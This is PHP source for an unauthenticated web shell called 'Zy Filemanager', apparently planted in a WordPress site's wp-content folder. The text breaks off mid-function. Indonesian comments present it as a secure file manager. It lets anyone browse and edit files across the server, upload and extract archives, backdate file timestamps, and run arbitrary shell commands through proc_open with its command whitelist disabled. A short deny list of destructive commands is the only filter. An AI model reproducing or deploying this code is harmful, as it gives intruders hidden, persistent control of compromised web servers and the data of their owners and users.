File: /home/greenin1/public_html/wp-content/mak.php
<?php
// ===========================================
// KONFIGURASI KEAMANAN DAN STABILITAS
// ===========================================
error_reporting(0); // Nonaktifkan error reporting untuk produksi
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'php_errors.log');
// Timezone default
date_default_timezone_set('Asia/Jakarta');
// Session dengan pengaturan keamanan
session_start([
'cookie_lifetime' => 86400,
'cookie_httponly' => true,
'cookie_secure' => isset($_SERVER['HTTPS']),
'use_strict_mode' => true
]);
// ===========================================
// FUNGSI UTAMA DENGAN ERROR HANDLING
// ===========================================
// Fungsi untuk mendapatkan path dengan error handling
function getSafePath($path) {
if (!$path || !is_string($path)) {
return getcwd();
}
$realpath = realpath($path);
if ($realpath === false || !is_dir($realpath)) {
return getcwd();
}
return $realpath;
}
// Fungsi format size dengan validasi
function formatSize($s) {
if (!is_numeric($s) || $s < 0) {
return '0 B';
}
$s = (float)$s;
if ($s >= 1073741824) return round($s / 1073741824, 2) . ' GB';
if ($s >= 1048576) return round($s / 1048576, 2) . ' MB';
if ($s >= 1024) return round($s / 1024, 2) . ' KB';
return $s . ' B';
}
// Fungsi untuk membersihkan nama file
function sanitizeFilename($filename) {
$filename = preg_replace('/[^a-zA-Z0-9.-_]/', '', $filename);
$filename = substr($filename, 0, 255); // Batas panjang nama file
return $filename;
}
// ===========================================
// VALIDASI DAN SANITASI INPUT
// ===========================================
// Validasi semua input GET/POST
$input_path = isset($_GET['path']) ? $_GET['path'] : '';
if (!is_string($input_path)) {
$input_path = '';
}
// Path utama dengan validasi
$path = getSafePath($input_path);
$home_shell_path = realpath(dirname(__FILE__)) ?: getcwd();
// ===========================================
// HANDLING OPERASI FILE DENGAN TRY-CATCH
// ===========================================
// 1. DELETE FILE/FOLDER
if (isset($_GET['delete'])) {
try {
$delete_target = $_GET['delete'];
if (!is_string($delete_target)) {
throw new Exception('Invalid delete target');
}
$target = realpath($path . '/' . $delete_target);
if ($target === false || strpos($target, $path) !== 0) {
throw new Exception('Invalid path');
}
if (is_file($target)) {
if (is_writable($target)) {
$result = unlink($target);
if (!$result) {
throw new Exception('Failed to delete file');
}
}
} elseif (is_dir($target)) {
// Hapus folder kosong saja
if (is_writable($target)) {
$files = scandir($target);
$files = array_diff($files, ['.', '..']);
if (empty($files)) {
$result = rmdir($target);
if (!$result) {
throw new Exception('Failed to delete directory');
}
} else {
$_SESSION['error'] = 'Directory is not empty';
}
}
}
} catch (Exception $e) {
$_SESSION['error'] = 'Delete failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 2. RENAME FILE/FOLDER
if (isset($_POST['rename_from'], $_POST['rename_to'])) {
try {
$from = realpath($path . '/' . $_POST['rename_from']);
$to_name = sanitizeFilename($_POST['rename_to']);
$to = $path . '/' . $to_name;
if ($from === false || strpos($from, $path) !== 0 || !file_exists($from)) {
throw new Exception('Invalid source file');
}
if ($to_name === '' || file_exists($to)) {
throw new Exception('Invalid target name or file exists');
}
$result = rename($from, $to);
if (!$result) {
throw new Exception('Rename failed');
}
} catch (Exception $e) {
$_SESSION['error'] = 'Rename failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 3. EDIT DATE
if (isset($_POST['edit_date_file'], $_POST['new_date'])) {
try {
$target = realpath($path . '/' . $_POST['edit_date_file']);
if ($target === false || strpos($target, $path) !== 0 || !file_exists($target)) {
throw new Exception('Invalid file');
}
$timestamp = strtotime($_POST['new_date']);
if ($timestamp === false) {
$timestamp = time();
}
$result = touch($target, $timestamp);
if (!$result) {
throw new Exception('Date update failed');
}
} catch (Exception $e) {
$_SESSION['error'] = 'Date update failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 4. CREATE FOLDER
if (isset($_POST['new_folder'])) {
try {
$folder_name = sanitizeFilename($_POST['new_folder']);
if ($folder_name === '') {
throw new Exception('Invalid folder name');
}
$full_path = $path . '/' . $folder_name;
if (file_exists($full_path)) {
throw new Exception('Folder already exists');
}
$result = mkdir($full_path, 0755, true);
if (!$result) {
throw new Exception('Failed to create folder');
}
} catch (Exception $e) {
$_SESSION['error'] = 'Create folder failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 5. CREATE FILE
if (isset($_POST['new_file'])) {
try {
$file_name = sanitizeFilename($_POST['new_file']);
if ($file_name === '') {
throw new Exception('Invalid file name');
}
$full_path = $path . '/' . $file_name;
if (file_exists($full_path)) {
throw new Exception('File already exists');
}
$result = file_put_contents($full_path, '');
if ($result === false) {
throw new Exception('Failed to create file');
}
} catch (Exception $e) {
$_SESSION['error'] = 'Create file failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 6. UPLOAD SINGLE FILE
if (isset($_FILES['upload'])) {
try {
if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
throw new Exception('Upload error: ' . $_FILES['upload']['error']);
}
$file_name = sanitizeFilename($_FILES['upload']['name']);
if ($file_name === '') {
throw new Exception('Invalid file name');
}
// Cek ekstensi berbahaya
$dangerous_ext = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps'];
$ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (in_array($ext, $dangerous_ext)) {
$file_name .= '.txt'; // Rename ekstensi berbahaya
}
$dest = $path . '/' . $file_name;
$result = move_uploaded_file($_FILES['upload']['tmp_name'], $dest);
if (!$result) {
throw new Exception('Move uploaded file failed');
}
} catch (Exception $e) {
$_SESSION['error'] = 'Upload failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 7. MULTIPLE UPLOAD
if (!empty($_FILES['uploads'])) {
try {
foreach ($_FILES['uploads']['name'] as $i => $name) {
if ($_FILES['uploads']['error'][$i] === UPLOAD_ERR_OK) {
$file_name = sanitizeFilename($name);
if ($file_name === '') continue;
// Cek ekstensi berbahaya
$dangerous_ext = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps'];
$ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (in_array($ext, $dangerous_ext)) {
$file_name .= '.txt';
}
$tmp = $_FILES['uploads']['tmp_name'][$i];
$dest = $path . '/' . $file_name;
if (!move_uploaded_file($tmp, $dest)) {
$_SESSION['error'] = 'Some files failed to upload';
}
}
}
} catch (Exception $e) {
$_SESSION['error'] = 'Multiple upload failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 8. ZIP UPLOAD AND EXTRACT
if (!empty($_FILES['zipfile']['name'])) {
try {
if ($_FILES['zipfile']['error'] !== UPLOAD_ERR_OK) {
throw new Exception('Zip upload error: ' . $_FILES['zipfile']['error']);
}
$zipName = sanitizeFilename($_FILES['zipfile']['name']);
$tmpZip = $_FILES['zipfile']['tmp_name'];
// Validasi ekstensi zip
$ext = strtolower(pathinfo($zipName, PATHINFO_EXTENSION));
if ($ext !== 'zip') {
throw new Exception('Only ZIP files are allowed');
}
$destZip = $path . '/' . $zipName;
if (move_uploaded_file($tmpZip, $destZip)) {
if (!class_exists('ZipArchive')) {
throw new Exception('ZipArchive class not available');
}
$zip = new ZipArchive;
if ($zip->open($destZip) !== TRUE) {
throw new Exception('Cannot open zip file');
}
// Extract dengan keamanan
$zip->extractTo($path);
$zip->close();
// Hapus file zip setelah extract
if (file_exists($destZip)) {
unlink($destZip);
}
}
} catch (Exception $e) {
$_SESSION['error'] = 'Zip operation failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// 9. SAVE FILE EDIT
if (isset($_POST['save_file'], $_POST['content'])) {
try {
$file = realpath($path . '/' . $_POST['save_file']);
if ($file === false || strpos($file, $path) !== 0 || !is_file($file)) {
throw new Exception('Invalid file');
}
// Backup file sebelum edit
$backup_name = $file . '.backup_' . date('Ymd_His');
if (!copy($file, $backup_name)) {
throw new Exception('Failed to create backup');
}
$result = file_put_contents($file, $_POST['content']);
if ($result === false) {
// Restore from backup if save fails
if (file_exists($backup_name)) {
copy($backup_name, $file);
}
throw new Exception('Failed to save file');
}
// Hapus backup jika sukses
if (file_exists($backup_name)) {
unlink($backup_name);
}
} catch (Exception $e) {
$_SESSION['error'] = 'Save failed: ' . $e->getMessage();
}
header("Location: ?path=" . urlencode($path));
exit;
}
// ===========================================
// HTML OUTPUT DENGAN ERROR DISPLAY
// ===========================================
?>
<!DOCTYPE html>
<html>
<head>
<title>Zy Filemanager</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
/* Reset dan Base Styles */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: #0a0a0a;
color: #e0e0e0;
line-height: 1.6;
min-height: 100vh;
padding: 20px;
transition: background 0.3s, color 0.3s;
}
/* Error Message Styling */
.error-message {
background: linear-gradient(135deg, #ff4444, #cc0000);
color: white;
padding: 12px 20px;
border-radius: 6px;
margin: 15px 0;
border-left: 5px solid #ff8888;
box-shadow: 0 3px 10px rgba(255, 68, 68, 0.2);
animation: slideIn 0.3s ease-out;
}
.success-message {
background: linear-gradient(135deg, #44ff44, #00cc00);
color: white;
padding: 12px 20px;
border-radius: 6px;
margin: 15px 0;
border-left: 5px solid #88ff88;
box-shadow: 0 3px 10px rgba(68, 255, 68, 0.2);
animation: slideIn 0.3s ease-out;
}
@keyframes slideIn {
from {
opacity: 0;
transform: translateY(-10px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
/* Top Bar */
.top-bar {
display: flex;
justify-content: space-between;
align-items: center;
background: linear-gradient(135deg, #1a1a1a, #2d2d2d);
padding: 15px 25px;
border-radius: 10px;
margin-bottom: 25px;
box-shadow: 0 5px 15px rgba(0,0,0,0.3);
flex-wrap: wrap;
gap: 15px;
}
.logo-section h2 {
color: #00ff88;
font-size: 28px;
text-shadow: 0 0 10px rgba(0, 255, 136, 0.3);
margin-bottom: 5px;
}
.logo-section p {
color: #88ffaa;
font-size: 14px;
font-weight: bold;
}
/* Controls */
.controls {
display: flex;
gap: 10px;
align-items: center;
}
.button {
background: linear-gradient(135deg, #2d2d2d, #3d3d3d);
color: white;
padding: 8px 16px;
border: 1px solid #555;
border-radius: 6px;
text-decoration: none;
font-weight: 600;
cursor: pointer;
transition: all 0.3s;
display: inline-flex;
align-items: center;
gap: 5px;
}
.button:hover {
background: linear-gradient(135deg, #3d3d3d, #4d4d4d);
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0,0,0,0.2);
}
.button-primary {
background: linear-gradient(135deg, #0088cc, #006699);
border-color: #00aaff;
}
.button-primary:hover {
background: linear-gradient(135deg, #0099dd, #0077aa);
}
/* Path Navigation */
.path-nav {
background: #1a1a1a;
padding: 15px;
border-radius: 8px;
margin-bottom: 20px;
border: 1px solid #333;
}
.path-nav a {
color: #00ccff;
text-decoration: none;
padding: 3px 6px;
border-radius: 4px;
transition: background 0.2s;
}
.path-nav a:hover {
background: rgba(0, 204, 255, 0.1);
}
/* Table Styling */
table {
width: 100%;
background: #1a1a1a;
border-collapse: collapse;
margin: 20px 0;
border-radius: 8px;
overflow: hidden;
box-shadow: 0 5px 15px rgba(0,0,0,0.2);
}
th {
background: linear-gradient(135deg, #2d2d2d, #3d3d3d);
padding: 15px;
text-align: left;
font-weight: 600;
color: #00ff88;
border-bottom: 2px solid #00ff88;
}
td {
padding: 12px 15px;
border-bottom: 1px solid #333;
}
tr:hover {
background: rgba(0, 255, 136, 0.05);
}
/* Permission Colors */
.perm-white { color: white; }
.perm-green { color: #88ff88; }
.perm-yellow { color: #ffff88; }
.perm-red { color: #ff8888; }
/* Forms */
.form-section {
background: #1a1a1a;
padding: 20px;
border-radius: 8px;
margin: 20px 0;
border: 1px solid #333;
}
.form-section h3 {
color: #00ccff;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 2px solid #00ccff;
}
input[type="text"],
input[type="file"],
input[type="datetime-local"],
textarea,
select {
width: 100%;
padding: 10px;
margin: 5px 0 15px 0;
background: #2d2d2d;
border: 1px solid #555;
border-radius: 4px;
color: white;
font-family: inherit;
}
input:focus,
textarea:focus,
select:focus {
outline: none;
border-color: #00ccff;
box-shadow: 0 0 0 2px rgba(0, 204, 255, 0.2);
}
textarea {
font-family: 'Consolas', 'Monaco', monospace;
line-height: 1.5;
}
/* Terminal Section */
.terminal-section {
background: #000;
border-radius: 8px;
overflow: hidden;
margin: 20px 0;
border: 1px solid #00ff88;
}
.terminal-header {
background: #00ff88;
color: #000;
padding: 10px 15px;
font-weight: bold;
display: flex;
justify-content: space-between;
align-items: center;
}
.terminal-output {
padding: 15px;
max-height: 400px;
overflow-y: auto;
font-family: 'Consolas', 'Monaco', monospace;
font-size: 14px;
white-space: pre-wrap;
word-wrap: break-word;
color: #00ff00;
background: #000;
}
/* Action Buttons */
.action-btn {
background: none;
border: 1px solid #555;
color: #ccc;
padding: 4px 8px;
border-radius: 4px;
cursor: pointer;
font-size: 12px;
margin: 0 2px;
transition: all 0.2s;
}
.action-btn:hover {
background: rgba(0, 204, 255, 0.1);
border-color: #00ccff;
color: #00ccff;
}
.delete-btn:hover {
background: rgba(255, 68, 68, 0.1);
border-color: #ff4444;
color: #ff4444;
}
/* Light Theme */
body.light {
background: #f5f5f5;
color: #333;
}
body.light .top-bar {
background: linear-gradient(135deg, #e0e0e0, #ffffff);
box-shadow: 0 5px 15px rgba(0,0,0,0.1);
}
body.light .logo-section h2 {
color: #008855;
text-shadow: none;
}
body.light .button {
background: linear-gradient(135deg, #e0e0e0, #f0f0f0);
color: #333;
border-color: #ccc;
}
body.light table {
background: white;
box-shadow: 0 3px 10px rgba(0,0,0,0.1);
}
body.light th {
background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
color: #008855;
}
body.light td {
border-color: #eee;
}
body.light .form-section {
background: white;
border-color: #ddd;
}
/* Responsive */
@media (max-width: 768px) {
.top-bar {
flex-direction: column;
text-align: center;
}
.controls {
flex-wrap: wrap;
justify-content: center;
}
table {
font-size: 14px;
}
th, td {
padding: 8px 10px;
}
}
/* File Type Icons */
.file-icon {
display: inline-block;
margin-right: 8px;
width: 16px;
text-align: center;
}
.folder-icon {
color: #ffcc00;
}
.file-icon-text {
color: #00ccff;
}
.file-icon-image {
color: #ff44ff;
}
.file-icon-zip {
color: #ff8800;
}
/* Loading Overlay */
.loading-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.8);
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
display: none;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid #333;
border-top-color: #00ff88;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
/* Warning Banner */
.warning-banner {
background: linear-gradient(135deg, #ffcc00, #ff9900);
color: #000;
padding: 10px;
text-align: center;
font-weight: bold;
margin-bottom: 20px;
border-radius: 6px;
animation: pulse 2s infinite;
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.8; }
}
</style>
</head>
<body>
<!-- Loading Overlay -->
<div class="loading-overlay" id="loadingOverlay">
<div class="spinner"></div>
</div>
<!-- Warning Banner -->
<div class="warning-banner">
⚠️ BACKUP DATA ANDA SECARA TERATUR! File manager ini untuk keperluan teknis.
</div>
<!-- Display Error/Success Messages -->
<?php if (isset($_SESSION['error'])): ?>
<div class="error-message">
⚠️ Error: <?php echo htmlspecialchars($_SESSION['error']); unset($_SESSION['error']); ?>
</div>
<?php endif; ?>
<?php if (isset($_SESSION['success'])): ?>
<div class="success-message">
✅ Success: <?php echo htmlspecialchars($_SESSION['success']); unset($_SESSION['success']); ?>
</div>
<?php endif; ?>
<!-- Top Bar -->
<div class="top-bar">
<div class="logo-section">
<h2>Zy Filemanager</h2>
<p>berang berang bawa gelek berangkat lek !!!</p>
</div>
<div class="controls">
<button id="toggleTheme" class="button">🌙 Dark Mode</button>
<a href="?path=<?php echo urlencode($home_shell_path); ?>" class="button button-primary">🏠 Home Shell</a>
<a href="#" onclick="showLoading(); window.location.reload();" class="button">🔄 Refresh</a>
</div>
</div>
<!-- Current Path -->
<div class="path-nav">
<strong>Current Path:</strong>
<?php
$parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
$build = '';
echo '<a href="?path=' . urlencode($home_shell_path) . '">Home Shell</a>';
foreach ($parts as $part) {
if ($part === '') continue;
$build .= '/' . $part;
echo '/' . '<a href="?path=' . urlencode($build) . '">' . htmlspecialchars($part) . '</a>';
}
?>
</div>
<!-- Navigation -->
<?php if ($path !== '/'): ?>
<div style="margin-bottom: 15px;">
<a href="?path=<?php echo urlencode(dirname($path)); ?>" class="button">
⬆️ Parent Directory
</a>
</div>
<?php endif; ?>
<!-- File Listing -->
<div class="form-section">
<h3>📁 File Browser</h3>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permissions</th>
<th>Modified Date</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
try {
$items = scandir($path);
if ($items === false) {
throw new Exception('Cannot read directory');
}
$dirs = [];
$files = [];
foreach ($items as $f) {
if ($f === '.' || $f === '..') continue;
$full = $path . '/' . $f;
if (!file_exists($full)) continue;
if (is_dir($full)) {
$dirs[] = $f;
} else {
$files[] = $f;
}
}
// Sort directories and files
sort($dirs);
sort($files);
$all = array_merge($dirs, $files);
foreach ($all as $f):
$full = $path . '/' . $f;
if (!file_exists($full)) {
echo '<tr><td colspan="5" style="color:#ff4444;">⚠️ File tidak ditemukan: ' . htmlspecialchars($f) . '</td></tr>';
continue;
}
// Get file icon
$icon = '📄';
if (is_dir($full)) {
$icon = '📁';
} else {
$ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
$icon = '🖼️';
} elseif (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) {
$icon = '📦';
} elseif (in_array($ext, ['php', 'html', 'js', 'css'])) {
$icon = '📝';
}
}
// Permissions
$perm_num = substr(sprintf('%o', fileperms($full)), -4);
$perm_class = 'perm-white';
if ($perm_num === '0755' || $perm_num === '0777') {
$perm_class = 'perm-green';
} elseif ($perm_num === '0000' || $perm_num === '0400') {
$perm_class = 'perm-red';
}
// Last modified
$mtime = filemtime($full);
$date_formatted = date('Y-m-d H:i:s', $mtime);
?>
<tr>
<td>
<?php echo $icon . ' '; ?>
<?php if (is_dir($full)): ?>
<a href="?path=<?php echo urlencode($full); ?>" style="font-weight: bold;">
<?php echo htmlspecialchars($f); ?>
</a>
<?php else: ?>
<a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($f); ?>" title="Click to edit">
<?php echo htmlspecialchars($f); ?>
</a>
<small style="color:#888; margin-left:5px;">
(<?php echo number_format(filesize($full)); ?> bytes)
</small>
<?php endif; ?>
</td>
<td><?php echo is_file($full) ? formatSize(filesize($full)) : '<em>DIR</em>'; ?></td>
<td class="<?php echo $perm_class; ?>">
<?php echo $perm_num; ?>
</td>
<td>
<form method="post" onsubmit="return confirm('Update modification date?')" style="display:flex;gap:5px;align-items:center;">
<input type="hidden" name="edit_date_file" value="<?php echo htmlspecialchars($f); ?>">
<input type="datetime-local" name="new_date" value="<?php echo date('Y-m-d\TH:i', $mtime); ?>" style="flex:1;">
<button type="submit" class="action-btn" title="Update timestamp">📅</button>
</form>
</td>
<td>
<div style="display:flex;gap:5px;flex-wrap:wrap;">
<!-- Rename Form -->
<form method="post" onsubmit="return validateRename(this)" style="display:inline;">
<input type="hidden" name="rename_from" value="<?php echo htmlspecialchars($f); ?>">
<input type="text" name="rename_to" value="<?php echo htmlspecialchars($f); ?>"
style="width:100px; padding:3px;" placeholder="New name">
<button type="submit" class="action-btn" title="Rename">✏️</button>
</form>
<!-- Edit Link (for files only) -->
<?php if (is_file($full)): ?>
<a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($f); ?>"
class="action-btn" title="Edit file">✍️</a>
<?php endif; ?>
<!-- Download Link (for files only) -->
<?php if (is_file($full)): ?>
<a href="?path=<?php echo urlencode($path); ?>&download=<?php echo urlencode($f); ?>"
class="action-btn" title="Download">⬇️</a>
<?php endif; ?>
<!-- Delete Button -->
<a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($f); ?>"
onclick="return confirmDelete('<?php echo addslashes(htmlspecialchars($f)); ?>')"
class="action-btn delete-btn" title="Delete">🗑️</a>
</div>
</td>
</tr>
<?php
endforeach;
if (empty($all)) {
echo '<tr><td colspan="5" style="text-align:center;color:#888;">📁 Directory is empty</td></tr>';
}
} catch (Exception $e) {
echo '<tr><td colspan="5" style="color:#ff4444;">⚠️ Error reading directory: ' . htmlspecialchars($e->getMessage()) . '</td></tr>';
}
?>
</tbody>
</table>
</div>
<!-- Upload Section -->
<div class="form-section">
<h3>📤 Upload Files</h3>
<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; margin-top: 15px;">
<!-- Single File Upload -->
<div style="border: 2px dashed #555; padding: 20px; border-radius: 8px;">
<h4 style="margin-bottom: 10px; color: #00ccff;">Single File</h4>
<form method="post" enctype="multipart/form-data" onsubmit="showLoading()">
<input type="file" name="upload" required style="margin-bottom: 10px;">
<input type="submit" value="Upload File" class="button" style="width:100%;">
</form>
</div>
<!-- Multiple Files Upload -->
<div style="border: 2px dashed #555; padding: 20px; border-radius: 8px;">
<h4 style="margin-bottom: 10px; color: #00ccff;">Multiple Files</h4>
<form method="post" enctype="multipart/form-data" onsubmit="showLoading()">
<input type="file" name="uploads[]" multiple required style="margin-bottom: 10px;">
<input type="submit" value="Upload Files" class="button" style="width:100%;">
</form>
</div>
<!-- ZIP Upload & Extract -->
<div style="border: 2px dashed #555; padding: 20px; border-radius: 8px;">
<h4 style="margin-bottom: 10px; color: #00ccff;">ZIP Extract</h4>
<form method="post" enctype="multipart/form-data" onsubmit="showLoading()">
<input type="file" name="zipfile" accept=".zip" required style="margin-bottom: 10px;">
<input type="submit" value="Upload & Extract ZIP" class="button" style="width:100%;">
</form>
<small style="color:#888; display:block; margin-top:5px;">ZIP file will be deleted after extraction</small>
</div>
</div>
</div>
<!-- Create New Section -->
<div class="form-section">
<h3>➕ Create New</h3>
<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px;">
<!-- Create Folder -->
<div>
<h4 style="margin-bottom: 10px; color: #00ccff;">New Folder</h4>
<form method="post" onsubmit="showLoading()">
<input type="text" name="new_folder" placeholder="folder_name" required
pattern="[a-zA-Z0-9.-_]+" title="Only letters, numbers, dots, hyphens, underscores">
<input type="submit" value="Create Folder" class="button" style="width:100%; margin-top:5px;">
</form>
</div>
<!-- Create File -->
<div>
<h4 style="margin-bottom: 10px; color: #00ccff;">New File</h4>
<form method="post" onsubmit="showLoading()">
<input type="text" name="new_file" placeholder="filename.txt" required
pattern="[a-zA-Z0-9.-_]+" title="Only letters, numbers, dots, hyphens, underscores">
<input type="submit" value="Create File" class="button" style="width:100%; margin-top:5px;">
</form>
</div>
</div>
</div>
<!-- File Editor -->
<?php
if (isset($_GET['edit'])):
$edit_file = $_GET['edit'];
$edit_path = realpath($path . '/' . $edit_file);
if ($edit_path !== false && strpos($edit_path, $path) === 0 && is_file($edit_path)):
$content = file_get_contents($edit_path);
if ($content === false) {
$content = '';
}
?>
<div class="form-section">
<h3>✍️ Editing: <?php echo htmlspecialchars(basename($edit_path)); ?></h3>
<div style="background: #000; padding: 10px; border-radius: 6px; margin-bottom: 15px;">
<div style="color: #00ff88; font-family: monospace; font-size: 12px;">
File: <?php echo htmlspecialchars($edit_path); ?><br>
Size: <?php echo formatSize(filesize($edit_path)); ?> |
Last Modified: <?php echo date('Y-m-d H:i:s', filemtime($edit_path)); ?>
</div>
</div>
<form method="post" onsubmit="return validateFileSave(this)" id="editForm">
<input type="hidden" name="save_file" value="<?php echo htmlspecialchars(basename($edit_path)); ?>">
<div style="margin-bottom: 10px; display: flex; gap: 10px;">
<button type="button" onclick="backupFile()" class="button" style="flex:1;">
💾 Backup File
</button>
<button type="button" onclick="toggleLineNumbers()" class="button" style="flex:1;">
🔢 Toggle Line Numbers
</button>
</div>
<div style="position: relative;">
<div id="lineNumbers" style="
position: absolute;
left: 0;
top: 0;
width: 50px;
background: #2d2d2d;
color: #888;
text-align: right;
padding: 10px 5px;
font-family: monospace;
font-size: 14px;
line-height: 1.5;
border-right: 1px solid #555;
overflow: hidden;
display: none;
"></div>
<textarea name="content" id="fileContent"
style="width: 100%; height: 500px; padding-left: 60px;"
spellcheck="false"
onkeydown="updateLineNumbers()"
onscroll="syncScroll()"><?php echo htmlspecialchars($content); ?></textarea>
</div>
<div style="margin-top: 15px; display: flex; gap: 10px;">
<input type="submit" value="💾 Save Changes" class="button button-primary" style="flex:2;">
<a href="?path=<?php echo urlencode($path); ?>" class="button" style="flex:1;">
↩️ Back
</a>
</div>
</form>
</div>
<script>
// Line numbers functionality
function toggleLineNumbers() {
const lineNumbers = document.getElementById('lineNumbers');
lineNumbers.style.display = lineNumbers.style.display === 'none' ? 'block' : 'none';
updateLineNumbers();
}
function updateLineNumbers() {
const textarea = document.getElementById('fileContent');
const lineNumbers = document.getElementById('lineNumbers');
if (lineNumbers.style.display === 'none') return;
const lines = textarea.value.split('n').length;
let numbers = '';
for (let i = 1; i <= lines; i++) {
numbers += i + '<br>';
}
lineNumbers.innerHTML = numbers;
lineNumbers.style.height = textarea.scrollHeight + 'px';
}
function syncScroll() {
const textarea = document.getElementById('fileContent');
const lineNumbers = document.getElementById('lineNumbers');
lineNumbers.scrollTop = textarea.scrollTop;
}
function backupFile() {
showLoading();
// Create a backup by copying the file
fetch('?path=<?php echo urlencode($path); ?>&backup=<?php echo urlencode($edit_file); ?>')
.then(response => response.text())
.then(data => {
hideLoading();
alert('Backup created successfully!');
})
.catch(error => {
hideLoading();
alert('Backup failed: ' + error);
});
}
// Initialize line numbers
document.addEventListener('DOMContentLoaded', function() {
updateLineNumbers();
});
</script>
<?php
else:
echo '<div class="error-message">⚠️ File tidak ditemukan atau tidak dapat diakses</div>';
endif;
endif;
?>
<!-- Terminal Section -->
<div class="terminal-section">
<div class="terminal-header">
<span>💻 Terminal / Command Prompt</span>
<small>Current Dir: <?php echo htmlspecialchars($path); ?></small>
</div>
<form method="post" onsubmit="showLoading()" style="padding: 15px;">
<div style="display: flex; gap: 10px;">
<input type="text" name="cmd"
placeholder="Enter command (ls, pwd, cat, etc.)"
style="flex: 1;"
value="<?php echo isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : ''; ?>"
id="cmdInput">
<input type="submit" value="Run Command" class="button button-primary">
</div>
<div style="margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap;">
<button type="button" onclick="insertCommand('pwd')" class="action-btn">pwd</button>
<button type="button" onclick="insertCommand('ls -la')" class="action-btn">ls -la</button>
<button type="button" onclick="insertCommand('whoami')" class="action-btn">whoami</button>
<button type="button" onclick="insertCommand('df -h')" class="action-btn">df -h</button>
<button type="button" onclick="insertCommand('free -m')" class="action-btn">free -m</button>
<button type="button" onclick="clearTerminal()" class="action-btn" style="color:#ff4444;">Clear</button>
</div>
</form>
<?php
if (isset($_POST['cmd'])):
$cmd = trim($_POST['cmd']);
if ($cmd !== ''):
?>
<div class="terminal-output" id="terminalOutput">
<div style="color: #00ccff;">$ <?php echo htmlspecialchars($cmd); ?></div>
<div style="margin-top: 10px;">
<?php
// Terminal execution with enhanced security
$TERMINAL_TIMEOUT = 15;
$TERMINAL_MAX_OUTPUT = 2 * 1024 * 1024;
$USE_WHITELIST = false;
$WHITELIST = ['ls','pwd','whoami','cat','id','uname','df','du','ps','top','zip','unzip','curl','wget','sed','grep','awk','tail','head','free','uptime','date'];
if ($USE_WHITELIST) {
$parts = preg_split('/s+/', $cmd);
if (!in_array($parts[0], $WHITELIST)) {
echo "<span style='color:#ff4444;'>Command not allowed by whitelist.</span>";
return;
}
}
// Dangerous commands filter
$dangerous = ['rm -rf', 'mkfs', 'dd', ':(){ :|:& };:', 'chmod 777', '> /dev/sda'];
foreach ($dangerous as $danger) {
if (strpos($cmd, $danger) !== false) {
echo "<span style='color:#ff4444;'>Dangerous command detected and blocked.</span>";
return;
}
}
$shell = '/bin/bash';
if (!is_executable($shell)) $shell = '/bin/sh';
$safe_cd = 'cd ' . escapeshellarg($path) . ' 2>/dev/null && ';
$run_cmd = $safe_cd . escapeshellcmd($shell) . ' -lc ' . escapeshellarg($cmd) . ' 2>&1';
$descriptors = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = @proc_open($run_cmd, $descriptors, $pipes, null, null);
if (!is_resource($process)) {
echo "<span style='color:#ff4444;'>Failed to open process. Ensure exec/proc_open is allowed.</span>";
} else {
stream_set_blocking($pipes[1], false);
stream_set_blocking($pipes[2], false);
fclose($pipes[0]);
$output = '';
$start = time();
$timed_out = false;
while (true) {
$read = [$pipes[1], $pipes[2]];
$write = null;
$except = null;
$num = stream_select($read, $write, $except, 1, 0);
if ($num !== false && $num > 0) {
foreach ($read as $r) {
$chunk = stream_get_contents($r);
if ($chunk !== false && $chunk !== '') {
$output .= $chunk;
if (strlen($output) > $TERMINAL_MAX_OUTPUT) {
$output = substr($output, 0, $TERMINAL_MAX_OUTPUT) . "nn[Output truncated (too large)]";
break 2;
}
}
}
}
$status = proc_get_status($process);
if (!$status['running']) {
$output .= stream_get_contents($pipes[1]);
$output .= stream_get_contents($pipes[2]);
break;
}
if ((time() - $start) > $TERMINAL_TIMEOUT) {
